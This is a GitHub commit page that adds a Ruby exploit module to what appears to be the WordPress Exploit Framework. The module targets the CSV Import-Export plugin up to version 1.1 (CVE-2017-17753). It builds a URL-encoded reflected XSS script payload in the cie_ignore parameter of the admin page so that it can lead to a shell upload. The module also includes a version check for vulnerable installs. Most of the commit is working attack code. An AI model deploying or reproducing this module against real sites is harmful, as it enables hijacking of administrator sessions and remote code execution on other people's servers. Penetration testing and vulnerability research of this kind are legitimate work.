Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 19be00e

Browse files
committed
Add CSV Import-Export <= 1.1 reflected XSS shell upload
1 parent 7074c70 commit 19be00e

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::CsvImportExportReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'CSV Import-Export <= 1.1 Reflected XSS Shell Upload',
11+
author: [
12+
'Nicolas Buzy-Debat', # Discovery
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2017-17753'],
17+
['WPVDB', '8983'],
18+
['URL', 'http://seclists.org/fulldisclosure/2017/Dec/73']
19+
],
20+
date: 'Dec 19 2017'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_changelog('csv-import-export', 'readme.txt', '1.1.1')
26+
end
27+
28+
def xss_payload
29+
url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
30+
end
31+
32+
def url_with_xss
33+
"#{wordpress_url_admin_options}?page=esb-cie-import-export-page&cie_ignore=#{xss_payload}"
34+
end
35+
end

0 commit comments

Comments
 (0)